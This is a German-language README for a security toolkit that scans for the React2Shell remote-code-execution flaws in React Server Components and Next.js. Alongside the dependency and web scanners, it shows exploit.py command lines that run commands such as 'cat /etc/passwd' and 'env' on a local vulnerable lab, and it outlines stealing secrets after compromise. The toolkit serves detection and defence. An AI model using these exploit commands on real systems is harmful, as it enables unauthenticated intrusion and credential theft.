Scanner für CVE-2025-55182 (React) und CVE-2025-66478 (Next.js) - Verfolgen und beheben Sie eine kritische Schwachstellen-Kampagne im React Server Components (RSC)/Flight-Protokoll, von der react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack und RSC-fähige Frameworks wie Next.js betroffen sind.
EXTERNE Schwachstelle für die React2Shell-Klasse von Bugs: Zwei kürzlich offengelegte, nicht authentifizierte Schwachstellen für Remote-Code-Ausführung im „Flight“-Protokoll der React Server Components (RSC) – CVE-2025-55182 (React) und CVE-2025-66478 (Next.js) – beide mit CVSS 10.0 bewertet. Diese Probleme liegen darin, wie RSC-/Server-Function-Endpunkte angreiferkontrollierte Flight-Payloads dekodieren. Eine einzige manipulierte HTTP-Anfrage kann so zu potenzieller serverseitiger Codeausführung führen – selbst bei „Standard“-React/Next.js-Stacks mit App Router und Produktions-Builds. Für viele Teams ist das ein „Jetzt patchen, Exposition verifizieren, dann auditieren“-Moment und nichts, was man auf einen späteren Dependency-Hygiene-Sprint verschieben sollte.
Der LAB-Ordner enthält Exploits und Lab-Schwachstellen für React2Shell.
Dieses Projekt bietet einen zweigleisigen Ansatz: (1) Software-Composition-/Abhängigkeits-Risiko-Scanning (dieses Tool), um schnell verwundbare Bibliotheken und Versionen zu finden, und (2) einen Web-DAST-Scanner (React2Shell Web Scanner), der RSC-/Flight-Endpunkte aktiv von außen testet und validiert, ob ausnutzbare Pfade in laufenden Umgebungen erreichbar sind. Zusammen helfen sie Ihnen, sowohl „Wo sind die verwundbaren Komponenten?“ als auch „Wo können sie in der Produktion tatsächlich ausgenutzt werden?“ zu beantworten, damit Sie Patchen, Härtung und Incident Response souverän priorisieren können.
Für Live-Endpunkt-Tests und RCE-Validierung siehe den dedizierten Web-Scanner:
📁 web-scan_CVE-2025-66478/ – Vollständige Dokumentation und Anleitung
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Funktion | Beschreibung |
|---|---|
| 🔍 RCE-Erkennung | Arithmetikbasierte sichere Erkennung (keine Nebenwirkungen) |
| 🎯 Technologie-Fingerprinting | Automatische Erkennung von Next.js-/React-Anwendungen |
| 📊 Multi-Format-Export | JSON-, CSV- und HTML-Berichte |
| 🔗 IOC-Korrelation | Abgleich mit 31+ bekannten bösartigen IPs |
| 🌐 Skaliertes Scannen | CIDR-Bereiche, Subdomain-Enumeration |
| ☁️ Phoenix-Integration | Hochladen von Ergebnissen an Phoenix Security |
| 💻 Exploit-Tool | Befehlsausführung auf verwundbaren Zielen |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell ist ein Primitiv für nicht authentifizierte Remote-Code-Ausführung gegen die Payload-Verarbeitung der React Server Components (RSC) im Flight-Protokoll. In der Praxis bedeutet das: Ein bösartiger Client kann eine einzige manipulierte HTTP-Anfrage an einen RSC-/Server-Function-Endpunkt senden und, falls eine verwundbare Version im Spiel ist, eine „Web-App“ potenziell in eine „Server-Shell“ verwandeln.
Auf hoher Ebene:
Da es sich um nicht authentifizierte RCE handelt, sind Standard-Produktionsumgebungen im Scope – selbst wenn Sie nie explizit eine „Server Function“ geschrieben haben und einfach moderne React/Next.js-Muster übernommen haben. Hosting-Maßnahmen und generische WAFs sollten nicht als Ihr primäres Sicherheitsnetz betrachtet werden: Sie können die Exposition reduzieren, kompensieren verwundbare Bibliotheken aber nicht zuverlässig. Behandeln Sie dies als Vorfall:
Sobald ein Angreifer über React2Shell RCE erlangt, sollten Verteidiger eine vertraute Kill Chain annehmen:
.env-Dateien, Deployment-Secrets, CI-Tokens, Dienstzugangsdaten und Signaturschlüssel sammeln.Wenn Ihre DevSecOps-Pipeline die Web-Schicht historisch als „nur ein Frontend“ behandelt hat, ist diese Schwachstelle eine konkrete Demonstration dafür, dass Frontend-Frameworks eine tiefe serverseitige Sprengwirkung haben können, wenn RSC- und Streaming-Semantik im Spiel sind. Der Universal Vulnerability Scanner existiert, um Ihnen schnell die Frage zu beantworten: „Laufen bei uns die verwundbaren Pakete irgendwo?“ – und diese Antwort in Phoenix-getriebene Kampagnen und bald auch in ergänzende Web-DAST-Validierung von Live-RSC-Endpunkten einzuspeisen.
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
Der Scanner verwendet eine JSON-basierte Schwachstellendatenbank unter:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description",
"references": ["https://..."]
}
}
}
}
Erstellen Sie .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
Oder verwenden Sie Umgebungsvariablen:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
Der Scanner enthält umfassende Testbeispiele in test_samples/:
| Testfall | Beschreibung | Erwartete Ergebnisse |
|---|---|---|
rsc_vulnerable_exact/ | Exakte verwundbare Versionen | 4 VULNERABLE |
rsc_vulnerable_range/ | Versionsbereiche | 4 VULNERABLE |
rsc_safe_versions/ | Gepatchte sichere Versionen | 6 SAFE |
rsc_mixed/ | Mischung aus verwundbar/sicher/sauber | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | Lockfile-Parsing | 2 VULNERABLE, 1 CLEAN |
Tests ausführen:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver parsing & comparison
├── models/
│ ├── finding.py # Finding data model
│ └── vulnerability.py # Vulnerability database model
├── scanners/
│ ├── base_scanner.py # Abstract scanner interface
│ └── npm_scanner.py # NPM ecosystem scanner
├── integrations/
│ └── phoenix_uploader.py # Phoenix API client
├── data/
│ └── vulnerability_database.json # Vulnerability definitions
├── test_samples/ # Test cases
└── main.py # CLI entry point
scanners/, der von BaseScanner erbtBeispiel:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
Bearbeiten Sie data/vulnerability_database.json:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description"
}
}
}
0 – Scan erfolgreich, keine Schwachstellen gefunden1 – Scan erfolgreich, Schwachstellen gefunden2 – Scan fehlgeschlagen (ungültige Eingabe, Datenbankfehler usw.)Lädt Ergebnisse automatisch zu Phoenix hoch mit:
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.pyTeil des Shai-Halud-Sicherheits-Toolkits.
🔍 Bleiben Sie sicher! Melden Sie Schwachstellen verantwortungsbewusst.